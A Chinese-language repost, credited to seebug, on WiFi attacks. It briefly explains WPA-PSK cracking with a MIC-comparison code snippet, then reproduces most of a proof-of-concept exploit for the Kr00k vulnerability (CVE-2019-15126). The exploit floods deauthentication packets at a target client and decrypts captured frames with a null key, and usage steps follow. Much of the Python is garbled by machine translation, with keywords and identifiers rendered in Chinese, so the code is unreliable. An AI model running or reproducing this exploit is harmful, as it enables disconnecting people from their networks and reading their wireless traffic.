原文转载自seebug,链接为:https://paper.seebug.org/1159/
既然WiFi密码是PSK,使用预置共享的秘钥,那么就不可避免面临暴力破解的问题。当然这里说的暴力破解不是输密码连WiFi,提示密码错误了再不断尝试,那样效率太低了。
实际中的暴力破解要高效得多。暴力破解的本质是获取PSK即PMK的明文,根据上面介绍握手的流程,作为一个未验证终端,我们实际能获取到的是ANonce、SNonce、Mac地址以及加密的内容和MIC,通过不断变换PSK/PMK计算PTK并验证MIC从而寻找真实密码。
内部实现代码段为
EXPORT int ac_crypto_engine_wpa_crack(
ac_crypto_engine_t * engine,
const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
const uint8_t eapol[256],
const uint32_t eapol_size,
uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
const uint8_t keyver,
const uint8_t cmpmic[20],
const int nparallel,
const int threadid)
{
ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
for (int j = 0; j < nparallel; ++j)
{
/* compute the pairwise transient key and the frame MIC */
ac_crypto_engine_calc_ptk(engine, keyver, j, threadid);
ac_crypto_engine_calc_mic(
engine, eapol, eapol_size, mic, keyver, j, threadid);
/* did we successfully crack it? */
if (memcmp(mic[j], cmpmic, 16) == 0) //-V512
{
return j;
}
}
return -1;
}
2020年初曝出的WiFi安全问题,目前的漏洞利用程序有:
#!/ usr / bin / env python3
#-*-编码:utf-8-*-
#地区说明
“”
r00kie-kr00kie.py:CVE-2019-15126 kr00k漏洞的PoC
作者:@__ bypass __,@ cherboff,@ _ chipik
许可证:GNU GENERAL PUBLIC LICENSE版本3
Hexway版权所有2020
“”
#endregion
#地区导入
来自 os。路径 导入 isfile
从 船头。所有 进口 rdpcap,wrpcap,sendp,嗅,醚,RadioTap,Dot11,Dot11CCMP,Dot11Deauth
来自 Cryptodome。密码 导入 AES
从 argparse 导入 ArgumentParser
从 输入 import Union
从 重新 导入 子
从 sys import stdout
从 os import getuid
从 pwd 导入 getpwuid
从 队列 导入 队列
从 线程 导入 线程
从 时间 导入 睡眠
从 子流程 导入 运行,PIPE,CompletedProcess
#endregion
#地区作者信息
__author__ = '@__bypass__'
__copyright__ = 'Copyright 2020,Hexway'
__credits__ = [ '@__ bypass __,@ cherboff,@ _ chipik' ]
__license__ = 'GNU通用公共许可证版本3'
__version__ = '0.0.1'
__maintainer__ = '@__bypass__,@cherboff,@_chipik'
__状态__ = “发展”
#endregion
#region类ThreadManager
ThreadManager 类(object):
#主要背景工作者-函数包装器
def _worker(self):
而 True:
尝试:
#从队列中获取一个带有参数的函数
func,args,kwargs = 自我。_threads。得到()
#并执行它
func(* args,** kwargs)
除了 Exception 作为 e:
打印(“ Exception:” + str(e))
自我。_threads。task_done()
def __init__(self,thread_count):
“”
ThreadManager类的构造函数
:param thread_count:线程队列的最大容量
“”
自我。_thread_count = THREAD_COUNT
自我。_threads = 队列(MAXSIZE = 自我。_thread_count)
为 _ 的 范围(自我。_thread_count):
worker_thread = 螺纹(目标= 自我。_worker)
worker_thread。setDaemon(True)
worker_thread。开始()
def add_task(self,func,* args,** kwargs):
“”
将任务添加到队列以进行后台工作
:param func:要执行的目标函数
:param args:函数的位置参数
:param kwargs:函数的关键字参数
:返回:无
“”
自我。_threads。放((func,args,kwargs,)
def wait_for_completion(self):
“”
同步所有线程
:返回:无
“”
自我。_threads。加入()
#endregion
#地区主班-Kr00k
类别 Kr00k:
#region设定变数
number_kr00k_packets:int = 0
前缀:str = ''
安静:bool = False
pcap_path_result:str = 'kr00k.pcap'
pcap_path_test:str = 'encrypted_packets.pcap'
#endregion
#地区初始化
DEF __init__(自)- > 无:
“”
初始化字符串变量
“”
自我。cINFO:str = ' \ 033 [1; 34m'
自我。错误:str = ' \ 033 [1; 31m'
自我。cSUCCESS:str = ' \ 033 [1; 32m'
自我。c警告:str = ' \ 033 [1; 33m'
自我。cEND:str = ' \ 033 [0m'
自我。c_info:str = self。cINFO + '[*]' + 自我。cEND + ''
自我。c_error:str = 自我。cERROR + '[-]' + 自我。cEND + ''
自我。c_success:str = 自我。cSUCCESS + '[+]' + 自我。cEND + ''
自我。c_warning:str = 自我。c警告 + '[!]' + 自我。cEND + ''
自我。小写字母:str = 'abcdefghijklmnopqrstuvwxyz'
自我。大写字母:str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
自我。数字:str = '0123456789'
#endregion
#地区输出功能
@ staticmethod
def print_banner() -> 无:
“”
在控制台中打印彩色横幅
:返回:无
“”
green_color:str = ' \ 033 [1; 32m'
yellow_color:str = ' \ 033 [1; 33m'
end_color:str = ' \ 033 [0m'
打印(green_color + “” + end_color)
打印(green_color + “ / $$$$$$$ / $$$$$$ / $$$$$$ / $$ / $$” + end_color)
打印(green_color + “ | $$ __ $$ / $$$ _ $$ / $$$ _ $$ | $$ | __ /” + end_color)
print(green_color + “ | $$ \ $$ | $$$ \ $$ | $$$ \ $$ | $$ / $$ / $$ / $$$$$$” + end_color)
print(green_color + “ | $$$$$$$ / | $$ $$ $$ | $$ $$ $$ | $$ / $$ / | $$ / $$ __ $$” + end_color)
print(green_color + “ | $$ __ $$ | $$ \ $$$ | $$ \ $$$$$$ | | $$$$$$$” + end_color)
print(green_color + “ | $$ \ $$$$$$$$$$$$$$$$$$$$$$ _____ /” + end_color)
print(green_color + “ | $$ | $$ | $$$$$$ / | $$$$$$ / | $$ \ $$ | $$ | $$$$$$$” + end_color)
打印(green_color + “ | __ / | __ / \ ______ / \ ______ / | __ / \ __ / | __ / \ _______ /” + end_color)
打印(green_color + “” + end_color)
打印(green_color + “” + end_color)
打印(green_color + “” + end_color)
打印(green_color + “ / $$ / $$$$$$ / $$$$$$ / $$ / $$” + end_color)
打印(green_color + “ | $$ / $$$ _ $$ / $$$ _ $$ | $$ | __ /” + end_color)
打印(green_color + “ | $$ / $$ / $$$$$$ | $$$$ \ $$ | $$$$ \ $$ | $$ / $$ / $$ / $$$$$$ “ + end_color)
print(green_color + “ | $$ / $$ / / $$ __ $$ | $$ $$ $$ | $$ $$ $$ | $$ / $$ / | $$ / $$ __ $$” + end_color)
打印(green_color + “ | $$$$$$ / | $$ \ __ / | $$ \ $$$$ | $$ \ $$$$ | $$$$$$ / | $$ | $$$ $$$$$“ + end_color)
print(green_color + “ | $$ _ $$ | $$ | $$ \ $$$ | $$ \ $$$ | $$ _ $$ | $$ | $$ _____ /” + end_color)
print(green_color + “ | $$ \ $$ | $$ | $$$$$$ / | $$$$$$ / | $$ \ $$ | $$ | $$$$$$$” + end_color)
打印(green_color + “ | __ / \ __ / | __ / \ ______ / \ ______ / | __ / \ __ / | __ / \ _______ /” + end_color)
打印(green_color + “ v” + __version__ + end_color)
打印(yellow_color + “ \ r \ n https://hexway.io/research/r00kie-kr00kie/ \ r \ n ” + end_color)
def _color_print(self,color:str = 'blue',* strings:str)-> 无:
“”
在控制台中打印彩色文本
:param颜色:设置颜色:蓝色,红色,橙色,绿色(默认值:蓝色)
:param字符串:要在控制台中打印的字符串
:返回:无
“”
如果 颜色 == '蓝色':
标准输出。写(自我。c_info)
elif color == '红色':
标准输出。写(自我。c_error)
elif color == '橙色':
标准输出。写(自我。c_warning)
elif color == '绿色':
标准输出。写(自我。c_success)
其他:
标准输出。写(自我。c_info)
对于 指数 在 范围(len个(字符串)):
如果 索引 % 2 == 0:
标准输出。写(字符串 [ 索引 ])
其他:
如果 颜色 == '蓝色':
标准输出。写(自我。CINFO)
如果 颜色 == '红色':
标准输出。写(自己。错误)
如果 color == 'orange':
标准输出。写(自己。警告)
如果 颜色 == '绿色':
标准输出。写(自我。cSUCCESS)
标准输出。写(字符串 [ 指数 ] + 自我。CEND)
标准输出。写(' \ n ')
def _color_text(self,color:str = 'blue',string:str = '')-> str:
“”
制作彩色的弦
:param颜色:设置颜色:蓝色,红色,橙色,绿色(默认值:蓝色)
:param string:输入字符串(例如:'test')
:return:彩色字符串(例如:' \ 033 [1; 34mtest \ 033 [0m'))
“”
如果 颜色 == '蓝色':
回归 自我。cINFO + 字符串 + self。结束
elif color == '红色':
回归 自我。cERROR + 字符串 + self。结束
elif color == '橙色':
回归 自我。警告 + 字符串 + 自我。结束
elif color == '绿色':
回归 自我。cSUCCESS + 字符串 + self。结束
其他:
回归 自我。cINFO + 字符串 + self。结束
def print_info(self,* 字符串:str)-> 无:
“”
在控制台中打印信息文本
:param字符串:要在控制台中打印的字符串
:返回:无
“”
自我。_color_print('blue',* 字符串)
def print_error(self,* string:str)-> 无:
“”
在控制台中打印错误文本
:param字符串:要在控制台中打印的字符串
:返回:无
“”
自我。_color_print('red',* 字符串)
def print_warning(self,* 字符串:str)-> 无:
“”
在控制台中打印警告文本
:param字符串:要在控制台中打印的字符串
:返回:无
“”
自我。_color_print('orange',* 字符串)
def print_success(self,* string:str)-> 无:
“”
在控制台中打印成功文本
:param字符串:要在控制台中打印的字符串
:返回:无
“”
自我。_color_print('green',* 字符串)
def info_text(self,text:str)-> str:
“”
使信息文字
:param text:输入字符串(例如:'test')
:return:彩色字符串(例如:' \ 033 [1; 34mtest \ 033 [0m'))
“”
回归 自我。_color_text('blue',文本)
def error_text(self,text:str)-> str:
“”
输入错误文字
:param text:输入字符串(例如:'test')
:return:彩色字符串(例如:' \ 033 [1; 31mtest \ 033 [0m'])
“”
回归 自我。_color_text('red',text)
def warning_text(self,text:str)-> str:
“”
制作警告文字
:param text:输入字符串(例如:'test')
:return:彩色字符串(例如:' \ 033 [1; 32mtest \ 033 [0m'])
“”
回归 自我。_color_text('orange',文本)
def success_text(self,text:str)-> str:
“”
制作成功文字
:param text:输入字符串(例如:'test')
:return:彩色字符串(例如:' \ 033 [1; 33mtest \ 033 [0m'])
“”
回归 自我。_color_text('green',文字)
#endregion
#地区检查用户功能
@ staticmethod
def check_user(exit_on_failure:bool = True,
exit_code:int = 2,
安静:bool = False)-> bool:
“”
检查用户权限
:param exit_on_failure:发生错误时退出(默认值:False)
:param exit_code:设置退出代码整数(默认值:2)
:param quiet:安静模式,如果为True,则没有控制台输出(默认值:False)
:return:如果用户是root用户则为True,否则为False
“”
如果 getuid()!= 0:
如果 不 安静:
打印(“只有root可以运行此脚本!”)
print('User:' + str(getpwuid(getuid())[ 0 ])+ '无法运行该脚本!')
如果 exit_on_failure:
退出(exit_code)
返回 False
返回 True
#endregion
#地区解密数据
@ staticmethod
def 解密(crypto_data:bytes = b'',
client_mac_address:str = '01234567890a',
key_iv:str = '000000000002',
qos:str = '00')-> 联合 [ 无,字节 ]:
“”
使用NULL TK解密数据(CVE-2019-15126 kr00k漏洞)
:param encryption_data:加密数据的字节数
:param client_mac_address:客户端MAC地址(例如:'01234567890a')
:param key_iv:键IV(默认:'000000000002')
:param qos:QoS(默认:'00')
:return:解密数据的字节数;如果出现错误,则返回None
“”
尝试:
随机数:字节 = 字节。fromhex(qos)+ \
个字节。fromhex(client_mac_address)+ \
个字节。fromhex(key_iv)
tk = 字节。fromhex(“ 00000000000000000000000000000000000000”)
cipher = AES。新(TK,AES。MODE_CCM,随机数,mac_len = 8)
unlocked_data:字节 = 密码。解密(crypto_data)
断言 decrypted_data。startswith(b' \ xaa \ xaa \ x03 '),'解密错误,TK不为空'
返回 解密数据
除了 AssertionError:
通过
返回 无
#endregion
#region分析802.11数据包
def analytics_packet(self,packet)-> 无:
“”
分析并尝试使用NULL TK解密802.11数据包(CVE-2019-15126 kr00k漏洞)
:param packet:scapy格式的数据包
:返回:无
“”
尝试:
断言 包。haslayer(Dot11CCMP),“不是802.11 CCMP数据包”
wrpcap(自我。pcap_path_test,包,追加= 真)
pn0 = “ {:02x}”。格式(数据包。PN0)
pn1 = “ {:02x}”。格式(数据包。PN1)
pn2 = “ {:02x}”。格式(数据包。PN2)
pn3 = “ {:02x}”。格式(数据包。PN3)
pn4 = “ {:02x}”。格式(数据包。PN4)
pn5 = “ {:02x}”。格式(数据包。PN5)
ADDR2 = 子(':','' ,包。ADDR2)
ADDR3 = 子(':','' ,包。ADDR3)
明文 = 自我。解密(encrypted_data = 分组。数据 [:- 8 ],client_mac_address = ADDR2,
key_iv = pn5 + pn4 + pn3 + pn2 + pn1 + pn0)
断言 明文 是 不是 没有,“与NULL TK无法解密的数据包”
ethernet_header:字节 = 字节。fromhex(addr3 + addr2)+ 纯文本 [ 6:8 ]
out_packet:字节 = 以太网头 + 明文 [ 8:]
自我。number_kr00k_packets + = 1
如果 不是 自我。安静:
parsed_packet:str = 以太(out_packet)。显示(dump = True)
自我。print_success('得到一个kr00ked数据包:\ n ',parsed_packet)
wrpcap(自我。pcap_path_result,out_packet,追加= 真)
除了 IndexError:
通过
除了 AssertionError:
通过
#endregion
#地区发送取消验证数据包
def deauth(self,
wireless_interface:str = 'wlan0',
bssid:str = '01:23:45:67:89:0a',
客户:str = '01:23:45:67:89:0b',
延迟:int = 5,
number_of_deauth_packets:int = 5)-> 无:
“”
发送802.11 deauth数据包
:param wireless_interface:用于发送取消验证数据包的无线接口名称(默认值:'wlan0')
:param bssid:BSSID(例如:'01:23:45:67:89:0a')
:param client:用于取消验证的客户端MAC地址(例如:'01:23:45:67:89:0b')
:param delay:发送取消验证数据包之间的延迟(默认值:5)
:param number_of_deauth_packets:一次迭代的取消认证包数(默认值:5)
:返回:无
“”
deauth_packet:字节 = RadioTap()/ \
Dot11(类型= 0,亚型= 12,ADDR1 = 客户端。降低(),
addr2 = bssid。lower(),addr3 = bssid。下())/ \
Dot11Deauth(原因= 7)
睡眠(延迟)
而 True:
sendp(deauth_packet,IFACE = wireless_interface,数= number_of_deauth_packets,详细= 假)
自我。print_info('Send',str(number_of_deauth_packets),
'取消验证数据包到:',客户端,
'来自:',bssid)
睡眠(延迟)
#endregion
#区域嗅探无线接口
def sniff(自我,
wireless_interface:str = 'wlan0',
bssid:str = '01:23:45:67:89:0a',
客户:str = '01:23:45:67:89:0b')-> 无:
“”
动态嗅探漏洞Exploit CVE-2019-15126 kr00k的无线接口
:param wireless_interface:用于嗅探数据包的无线接口名称(默认值:'wlan0')
:param bssid:BSSID(例如:'01:23:45:67:89:0a')
:param client:客户端MAC地址(例如:'01:23:45:67:89:0b')
:返回:无
“”
嗅探(IFACE = wireless_interface,PRN = 自我。analyze_packet,
lfilter = lambda x:x。addr1 == bssid。lower()和 x。addr2 == 客户端。降低()
#endregion
#region读取pcap文件
def 读取(self,pcap_path_read:str = '/tmp/test.pcap')-> 无:
“”
从pcap文件读取加密的802.11数据包
:param pcap_path_read:读取加密数据包的PCAP文件的路径(例如:'/tmp/test.pcap')
:返回:无
“”
尝试:
#检查pcap文件是否存在读取
assert isfile(pcap_path_read),'Pcap文件:' + pcap_path_read + '未找到!'
自我。print_info('从以下位置读取数据包',pcap_path_read,'....')
#从pcap文件读取加密的数据包
encrypted_packets = rdpcap(ARGS。pcap_path_read)
自我。print_info(“已读取所有数据包,正在进行数据包分析...。”)
#分析来自pcap文件的加密数据包
对于 encrypted_packets 中的 encrypted_packet:
自我。describe_packet(数据包= 加密的数据包)
#查看TK为NULL的kr00k报文数
坚持 自我。number_kr00k_packets > 0,'未找到kr00k数据包'
自我。print_success('实测值',STR(kr00k。number_kr00k_packets),
“kr00ked包和解密的分组保存在:”,ARGS。pcap_path_result)
除了 AssertionError 作为 Error:
自我。print_error(错误。ARGS [ 0 ])
出口(1)
#endregion
#endregion
#地区主要功能
如果 __name__ == ' __main__ ':
#个区域变数
kr00k:Kr00k = Kr00k()
thread_manager:ThreadManager = ThreadManager(2)
#endregion
尝试:
#region解析脚本参数
分析器:ArgumentParser = ArgumentParser(description = 'PoC of CVE-2019-15126 kr00k漏洞')
解析器。add_argument('-i','--interface',help = '设置监听数据包的无线接口名称',默认= None)
解析器。add_argument('-l','--channel',help = '设置无线接口的通道(默认值:1)',
默认值= 1,类型= int)
parser.add_argument('-b', '--bssid', help='Set WiFi AP BSSID (example: "01:23:45:67:89:0a")',
default=None)
parser.add_argument('-c', '--client', help='Set WiFi client MAC address (example: "01:23:45:67:89:0b")',
default=None)
解析器。add_argument('-n','--deauth_number',help = '设置一次迭代的deauth数据包数量(默认值:5)',
默认= 5,类型= int)
解析器。add_argument('-d','--deauth_delay',help = '设置发送deauth数据包之间的延迟(默认值:5)',
默认= 5,类型= int)
parser.add_argument('-p', '--pcap_path_read', help='Set path to PCAP file for read encrypted packets',
default=None)
parser.add_argument('-r', '--pcap_path_result', help='Set path to PCAP file for write decrypted packets',
default='kr00k.pcap')
parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output')
args = parser.parse_args()
# endregion
# region Print banner
if not args.quiet:
kr00k.print_banner()
else:
kr00k.quiet = True
# endregion
# region the Set path to pcap file with decrypted packets
kr00k.pcap_path_result = args.pcap_path_result
# endregion
# region the Check and read PCAP file with the 802.11 packets
if args.pcap_path_read is not None:
kr00k.read(pcap_path_read=args.pcap_path_read)
# endregion
# region the Exploit CVE-2019-15126 kr00k vulnerability on fly
else:
# region the Check user
kr00k.check_user()
# endregion
# region the Check input params
assert args.interface is not None, \
'Please set wireless NIC for Exploit CVE-2019-15126 kr00k vulnerability on fly'
assert args.bssid is not None, \
'Please set AP BSSID for Exploit CVE-2019-15126 kr00k vulnerability on fly'
assert args.client is not None, \
'Please set Client MAC address for Exploit CVE-2019-15126 kr00k vulnerability on fly'
assert 1 <= args.channel <= 128, \
'Bad WiFi channel: ' + kr00k.error_text(args.channel)
# endregion
# region Check network interface name
interfaces: CompletedProcess = run(['iwconfig'], shell=True, stdout=PIPE, stderr=PIPE)
interfaces_output: str = interfaces.stdout.decode('utf-8')
interfaces_output += interfaces.stderr.decode('utf-8')
assert args.interface in interfaces_output, \
'Not found network interface: ' + kr00k.error_text(args.interface)
# endregion
# region the Enable monitor mode and set a channel on the interface
kr00k.print_warning('Kill processes that prevent monitor mode!')
run(['airmon-ng check kill'], shell=True, stdout=PIPE)
interface_mode: CompletedProcess = run(['iwconfig ' + args.interface], shell=True, stdout=PIPE)
interface_mode: str = interface_mode.stdout.decode('utf-8')
if 'Mode:Monitor' not in interface_mode:
kr00k.print_info('Set monitor mode on wireless interface: ', args.interface)
run(['ifconfig ' + args.interface + ' down'], shell=True, stdout=PIPE)
run(['iwconfig ' + args.interface + ' mode monitor'], shell=True, stdout=PIPE)
run(['ifconfig ' + args.interface + ' up'], shell=True, stdout=PIPE)
else:
kr00k.print_info('Wireless interface: ', args.interface, ' already in mode monitor')
kr00k.print_info('Set channel: ', str(args.channel), ' on wireless interface: ', args.interface)
run(['iwconfig ' + args.interface + ' channel ' + str(args.channel)], shell=True, stdout=PIPE)
# endregion
# region Start sending deauth packets in a new thread
thread_manager.add_task(kr00k.deauth, args.interface, args.bssid, args.client,
args.deauth_delay, args.deauth_number)
# endregion
# region Start sniffing the 802.11 packets
kr00k.sniff(wireless_interface=args.interface, bssid=args.bssid, client=args.client)
# endregion
# endregion
除了 KeyboardInterrupt:
kr00k。print_info('退出')
退出(0)
除了 AssertionError 作为 Error:
kr00k。print_error(错误。ARGS [ 0 ])
出口(1)
#endregion
该kr00k攻击是非常简单的。因此,我们不需要花费很多时间来编写PoC。
只要检查设备是否容易受到攻击,将python脚本以bssid,通道号和受害者的mac地址作为参数来运行,就可以耐心等待。
适用设备:
索尼Xperia Z3 Compact(D5803)
华为荣耀4X
https://www.webtitan.com/blog/most-common-wireless-network-attacks/